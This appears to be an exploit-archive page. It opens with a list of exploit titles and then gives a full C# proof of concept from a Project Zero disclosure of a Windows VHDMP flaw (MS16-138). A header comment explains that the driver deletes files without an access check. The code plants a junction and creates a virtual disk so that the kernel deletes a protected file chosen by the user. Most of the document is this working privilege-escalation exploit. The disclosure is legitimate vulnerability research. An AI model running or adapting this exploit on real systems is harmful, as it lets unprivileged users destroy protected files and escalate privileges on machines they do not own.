
8 new exploits MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial of Service MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial Of Service MailEnable Professional/Enterprise 2.37 - Denial of Service MailEnable Professional/Enterprise 2.37 - Denial Of Service Galaxy FTP Server 1.0 - (Neostrada Livebox DSL Router) Denial of Service Galaxy FTP Server 1.0 - (Neostrada Livebox DSL Router) Denial Of Service MailEnable SMTP Service - VRFY/EXPN Command Buffer Overflow Denial of Service MailEnable 3.13 SMTP Service - 'VRFY/EXPN' Command Denial Of Service VideoLAN VLC Media Player - Subtitle StripTags() Function Memory Corruption VideoLAN VLC Media Player 1.1 - Subtitle StripTags() Function Memory Corruption VideoLAN VLC Media Player - XSPF Local File Integer Overflow in XSPF Playlist parser VideoLAN VLC Media Player 1.1.9 - XSPF Local File Integer Overflow in XSPF Playlist parser VideoLAN VLC Media Player - '.3gp' File Divide-by-Zero Denial of Service VideoLAN VLC Media Player 2.0.2 - '.3gp' File Divide-by-Zero Denial Of Service VideoLAN VLC Media Player - '.wav' File Memory Corruption VideoLAN VLC Media Player 2.1.3 - '.wav' File Memory Corruption Microsoft Edge 11.0.10240.16384 - 'edgehtml' CAttrArray::Destroy Use-After-Free Linux Kernel (Ubuntu / RedHat) - 'keyctl' Null Pointer Dereference Microsoft Windows Kernel - Registry Hive Loading 'nt!RtlEqualSid' Out-of-Bounds Read (MS16-138) VideoLAN VLC Media Player - '.TY' File Stack Based Buffer Overflow VideoLAN VLC Media Player 0.9.4 - '.TY' File Stack Based Buffer Overflow VideoLAN VLC Media Player - 'wintab32.dll' DLL Hijacking VideoLAN VLC Media Player 1.1.3 - 'wintab32.dll' DLL Hijacking VideoLAN VLC Media Player - TiVo Buffer Overflow (Metasploit) VideoLAN VLC Media Player 0.9.4 - TiVo Buffer Overflow (Metasploit) VideoLAN VLC Media Player - MKV Memory Corruption (Metasploit) VideoLAN VLC Media Player 1.1.6 - 'MKV' Memory Corruption (Metasploit) VideoLAN VLC Media Player - RealText Subtitle Overflow (Metasploit) VideoLAN VLC Media Player 0.9.5 - RealText Subtitle Overflow (Metasploit) Microsoft Windows - VHDMP ZwDeleteFile Arbitrary File Deletion Privilege Escalation (MS16-138) Microsoft Windows - VHDMP Arbitrary File Creation Privilege Escalation (MS16-138) Microsoft Windows - VHDMP Arbitrary Physical Disk Cloning Privilege Escalation (MS16-138) MailEnable Pro/Ent 2.37 - (APPEND) Remote Buffer Overflow MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow Versant Object Database 7.0.1.3 - Commands Execution Exploit Versant Object Database 7.0.1.3 - Commands Execution VHCS 2.4.7.1 - (vhcs2_daemon) Remote Root Exploit VHCS 2.4.7.1 - 'vhcs2_daemon' Remote Root Exploit MDaemon IMAP server 9.6.4 - (FETCH) Remote Buffer Overflow MailEnable Pro/Ent 3.13 - (Fetch) Authenticated Remote Buffer Overflow MDaemon IMAP server 9.6.4 - 'FETCH' Remote Buffer Overflow MailEnable Professional/Enterprise 3.13 - 'Fetch' Authenticated Remote Buffer Overflow VideoLAN VLC Media Player - AMV Dangling Pointer (Metasploit) VideoLAN VLC Media Player 1.1.4 - 'AMV' Dangling Pointer (Metasploit) VideoLAN VLC Media Player - ModPlug ReadS3M Stack Buffer Overflow (Metasploit) VideoLAN VLC Media Player 1.1.8 - ModPlug ReadS3M Stack Buffer Overflow (Metasploit) VideoLAN VLC Media Player - Mms Stream Handling Buffer Overflow (Metasploit) VideoLAN VLC Media Player 2.0.0 - Mms Stream Handling Buffer Overflow (Metasploit) Easy Internet Sharing Proxy Server 2.2 - SEH Overflow (Metasploit) Disk Pulse Enterprise 9.0.34 - Buffer Overflow Disk Pulse Enterprise 9.0.34 - 'Login' Buffer Overflow Disk Pulse Enterprise - Login Buffer Overflow' (Metasploit) Disk Pulse Enterprise 9.0.34 - 'Login' Buffer Overflow' (Metasploit) WinaXe 7.7 FTP Client - Remote Buffer Overflow (Metasploit) phpMyNewsletter 0.6.10 - (customize.php l) Remote File Inclusion phpMyNewsletter 0.6.10 - 'customize.php' Remote File Inclusion QuickTalk forum 1.3 - 'lang' Local File Inclusion QuickTicket 1.2 - (qti_checkname.php) Local File Inclusion QuickTalk forum 1.3 - 'lang' Parameter Local File Inclusion QuickTicket 1.2 - 'qti_checkname.php' Local File Inclusion Mambo Component com_Musica - 'id' SQL Injection phpArcadeScript 3.0RC2 - (userid) SQL Injection phpComasy 0.8 - (mod_project_id) SQL Injection Dynamic photo Gallery 1.02 - 'albumID' SQL Injection Mambo Component com_Musica - 'id' Parameter SQL Injection phpArcadeScript 3.0RC2 - 'userid' Parameter SQL Injection phpComasy 0.8 - 'mod_project_id' Parameter SQL Injection Dynamic photo Gallery 1.02 - 'albumID' Parameter SQL Injection XOOPS Module Glossario 2.2 - 'sid' SQL Injection XOOPS Module wfdownloads - 'cid' SQL Injection XOOPS Module Glossario 2.2 - 'sid' Parameter SQL Injection XOOPS Module wfdownloads - 'cid' Parameter SQL Injection Joomla! Component Candle 1.0 - (cID) SQL Injection QuickTicket 1.5 - (qti_usr.php id) SQL Injection Joomla! Component Candle 1.0 - 'cid' Parameter SQL Injection QuickTicket 1.5 - 'qti_usr.php' SQL Injection Mambo Component eWriting 1.2.1 - (cat) SQL Injection phpMyNewsletter 0.8b5 - (archives.php msg_id) SQL Injection Mapbender 2.4.4 - (mapFiler.php) Remote Code Execution Mapbender 2.4.4 - (gaz) SQL Injection Mambo Component eWriting 1.2.1 - 'cat' Parameter SQL Injection phpMyNewsletter 0.8b5 - 'msg_id' Parameter SQL Injection Mapbender 2.4.4 - 'mapFiler.php' Remote Code Execution Mapbender 2.4.4 - 'gaz' Parameter SQL Injection phpBB Mod FileBase - 'id' SQL Injection phpBB Mod FileBase 2.0 - 'id' Parameter SQL Injection XOOPS Module Gallery 0.2.2 - (gid) SQL Injection XOOPS Module My_eGallery 3.04 - (gid) SQL Injection XOOPS Module Gallery 0.2.2 - 'gid' Parameter SQL Injection XOOPS Module My_eGallery 3.04 - 'gid' Parameter SQL Injection XOOPS Module tutorials - 'printpage.php' SQL Injection XOOPS Module tutorials 2.1b - 'printpage.php' SQL Injection easygallery 5.0tr - Multiple Vulnerabilities EasyGallery 5.0tr - Multiple Vulnerabilities phpArcadeScript 4 - (cat) SQL Injection phpArcadeScript 4 - 'cat' Parameter SQL Injection phpComasy 0.9.1 - (entry_id) SQL Injection phpComasy 0.9.1 - 'entry_id' Parameter SQL Injection phpArcadeScript 4.0 - (linkout.php id) SQL Injection phpArcadeScript 4.0 - 'id' Parameter SQL Injection Myiosoft EasyGallery - 'catid' Blind SQL Injection EasyGallery - 'catid' Parameter Blind SQL Injection phpArcadeScript 2.0 - tellafriend.php gamename Parameter Cross-Site Scripting phpArcadeScript 2.0 - loginbox.php login_status Parameter Cross-Site Scripting phpArcadeScript 2.0 - 'index.php' submissionstatus Parameter Cross-Site Scripting phpArcadeScript 2.0 - browse.php Multiple Parameter Cross-Site Scripting phpArcadeScript 2.0 - displaygame.php gamefile Parameter Cross-Site Scripting EasyGallery 1.17 - EasyGallery.php Cross-Site Scripting Bloo 1.00 - Googlespell_Proxy.php Cross-Site Scripting Mitra Informatika Solusindo Cart - 'p' Parameter SQL Injection
245 lines
9.4 KiB
C#
Executable file
245 lines
9.4 KiB
C#
Executable file
/*
|
||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=915
|
||
|
||
Windows: VHDMP ZwDeleteFile Arbitrary File Deletion EoP
|
||
Platform: Windows 10 10586 and 14393. No idea about 7 or 8.1 versions.
|
||
Class: Elevation of Privilege
|
||
|
||
Summary:
|
||
The VHDMP driver doesn’t safely delete files leading to arbitrary file deletion which could result in EoP.
|
||
|
||
Description:
|
||
|
||
The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. There are numerous places where the driver calls ZwDeleteFile without specifying OBJ_FORCE_ACCESS_CHECK. This can be abused to delete any arbitrary file or directory on the filesystem by abusing symbolic links to redirect the delete file name to an arbitrary location. Also due to the behaviour of ZwDeleteFile we also don’t need to play games with the DosDevices directory or anything like that, the system call opens the target file without specifying FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE flags, this means it’s possible to use a mount point even to redirect to a file due to the way reparsing works in the kernel.
|
||
|
||
Some places where ZwDeleteFile is called (based on 10586 x64 vhdmp.sys) are:
|
||
|
||
VhdmpiDeleteRctFiles
|
||
VhdmpiCleanupFileWrapper
|
||
VhdmpiInitializeVhdSetExtract
|
||
VhdmpiCtCreateEnableTrackingRequest
|
||
VhdmpiMultiStageSwitchLogFile
|
||
VhdmpiApplySnapshot
|
||
And much much more.
|
||
|
||
You get the idea, as far as I can tell none of these calls actually pass OBJ_FORCE_ACCESS_CHECK flag so all would be vulnerable (assuming you can specify the filename suitably). Note this doesn’t need admin rights as we never mount the VHD. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.
|
||
|
||
While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications.
|
||
|
||
Proof of Concept:
|
||
|
||
I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will delete an arbitrary file specified on the command line. It abuses the fact that during VHD creation the kernel will delete the .rct/.mrt files (this limits the poc to Win10 only). So we drop a test.vhd.rct mount point pointing at the target into the same directory and call create.
|
||
|
||
1) Compile the C# source code file.
|
||
2) Execute the poc on Win 10 passing the path to the file to delete. It will check that the file is present and can’t be deleted.
|
||
3) It should print that it successfully deleted the file
|
||
|
||
Expected Result:
|
||
The target file isn’t deleted, the VHD creation fails.
|
||
|
||
Observed Result:
|
||
The target file is deleted.
|
||
*/
|
||
|
||
using Microsoft.Win32.SafeHandles;
|
||
using System;
|
||
using System.ComponentModel;
|
||
using System.Diagnostics;
|
||
using System.IO;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace DfscTest
|
||
{
|
||
class Program
|
||
{
|
||
enum StorageDeviceType
|
||
{
|
||
Unknown = 0,
|
||
Iso = 1,
|
||
Vhd = 2,
|
||
Vhdx = 3,
|
||
VhdSet = 4,
|
||
}
|
||
|
||
[StructLayout(LayoutKind.Sequential)]
|
||
struct VirtualStorageType
|
||
{
|
||
public StorageDeviceType DeviceId;
|
||
public Guid VendorId;
|
||
}
|
||
|
||
enum OpenVirtualDiskFlag
|
||
{
|
||
None = 0,
|
||
NoParents = 1,
|
||
BlankFile = 2,
|
||
BootDrive = 4,
|
||
CachedIo = 8,
|
||
DiffChain = 0x10,
|
||
ParentcachedIo = 0x20,
|
||
VhdSetFileOnly = 0x40,
|
||
}
|
||
|
||
enum CreateVirtualDiskVersion
|
||
{
|
||
Unspecified = 0,
|
||
Version1 = 1,
|
||
Version2 = 2,
|
||
Version3 = 3,
|
||
}
|
||
|
||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||
struct CreateVirtualDiskParameters
|
||
{
|
||
public CreateVirtualDiskVersion Version;
|
||
public Guid UniqueId;
|
||
public ulong MaximumSize;
|
||
public uint BlockSizeInBytes;
|
||
public uint SectorSizeInBytes;
|
||
public uint PhysicalSectorSizeInBytes;
|
||
[MarshalAs(UnmanagedType.LPWStr)]
|
||
public string ParentPath;
|
||
[MarshalAs(UnmanagedType.LPWStr)]
|
||
public string SourcePath;
|
||
// Version 2 on
|
||
public OpenVirtualDiskFlag OpenFlags;
|
||
public VirtualStorageType ParentVirtualStorageType;
|
||
public VirtualStorageType SourceVirtualStorageType;
|
||
public Guid ResiliencyGuid;
|
||
// Version 3 on
|
||
[MarshalAs(UnmanagedType.LPWStr)]
|
||
public string SourceLimitPath;
|
||
public VirtualStorageType BackingStorageType;
|
||
}
|
||
|
||
enum VirtualDiskAccessMask
|
||
{
|
||
None = 0,
|
||
AttachRo = 0x00010000,
|
||
AttachRw = 0x00020000,
|
||
Detach = 0x00040000,
|
||
GetInfo = 0x00080000,
|
||
Create = 0x00100000,
|
||
MetaOps = 0x00200000,
|
||
Read = 0x000d0000,
|
||
All = 0x003f0000
|
||
}
|
||
|
||
enum CreateVirtualDiskFlag
|
||
{
|
||
None = 0x0,
|
||
FullPhysicalAllocation = 0x1,
|
||
PreventWritesToSourceDisk = 0x2,
|
||
DoNotcopyMetadataFromParent = 0x4,
|
||
CreateBackingStorage = 0x8,
|
||
UseChangeTrackingSourceLimit = 0x10,
|
||
PreserveParentChangeTrackingState = 0x20,
|
||
}
|
||
|
||
[DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
|
||
static extern int CreateVirtualDisk(
|
||
[In] ref VirtualStorageType VirtualStorageType,
|
||
string Path,
|
||
VirtualDiskAccessMask VirtualDiskAccessMask,
|
||
[In] byte[] SecurityDescriptor,
|
||
CreateVirtualDiskFlag Flags,
|
||
uint ProviderSpecificFlags,
|
||
[In] ref CreateVirtualDiskParameters Parameters,
|
||
IntPtr Overlapped,
|
||
out IntPtr Handle
|
||
);
|
||
|
||
static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
|
||
static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");
|
||
|
||
static SafeFileHandle CreateVHD(string path)
|
||
{
|
||
VirtualStorageType vhd_type = new VirtualStorageType();
|
||
vhd_type.DeviceId = StorageDeviceType.Vhd;
|
||
vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;
|
||
|
||
CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
|
||
ps.Version = CreateVirtualDiskVersion.Version1;
|
||
ps.SectorSizeInBytes = 512;
|
||
ps.MaximumSize = 100 * 1024 * 1024;
|
||
IntPtr hDisk;
|
||
int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
|
||
if (error != 0)
|
||
{
|
||
throw new Win32Exception(error);
|
||
}
|
||
|
||
return new SafeFileHandle(hDisk, true);
|
||
}
|
||
|
||
static void Main(string[] args)
|
||
{
|
||
try
|
||
{
|
||
if (args.Length < 1)
|
||
{
|
||
Console.WriteLine(@"[USAGE]: poc file\to\delete");
|
||
Environment.Exit(1);
|
||
}
|
||
|
||
string delete_path = Path.GetFullPath(args[0]);
|
||
|
||
if (!File.Exists(delete_path))
|
||
{
|
||
Console.WriteLine("[ERROR]: Specify a valid file to delete");
|
||
Environment.Exit(1);
|
||
}
|
||
|
||
try
|
||
{
|
||
File.Delete(delete_path);
|
||
Console.WriteLine("[ERROR]: Could already delete file, choose one which you normally can't delete");
|
||
Environment.Exit(1);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
|
||
string vhd_path = Path.GetFullPath("test.vhd");
|
||
File.Delete(vhd_path);
|
||
try
|
||
{
|
||
Directory.Delete(vhd_path + ".rct");
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
|
||
Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
|
||
string cmdline = String.Format("/C mklink /J \"{0}.rct\" \"{1}\"", vhd_path, args[0]);
|
||
ProcessStartInfo start_info = new ProcessStartInfo("cmd", cmdline);
|
||
start_info.UseShellExecute = false;
|
||
|
||
Process p = Process.Start(start_info);
|
||
p.WaitForExit();
|
||
if (p.ExitCode != 0)
|
||
{
|
||
Console.WriteLine("[ERROR]: Can't create symlink");
|
||
Environment.Exit(1);
|
||
}
|
||
|
||
using (SafeFileHandle handle = CreateVHD(vhd_path))
|
||
{
|
||
}
|
||
|
||
if (File.Exists(delete_path))
|
||
{
|
||
Console.WriteLine("[ERROR]: Didn't delete arbitrary file");
|
||
}
|
||
else
|
||
{
|
||
Console.WriteLine("[SUCCESS]: Deleted arbitary file");
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine("[ERROR]: {0}", ex.Message);
|
||
}
|
||
}
|
||
}
|
||
}
|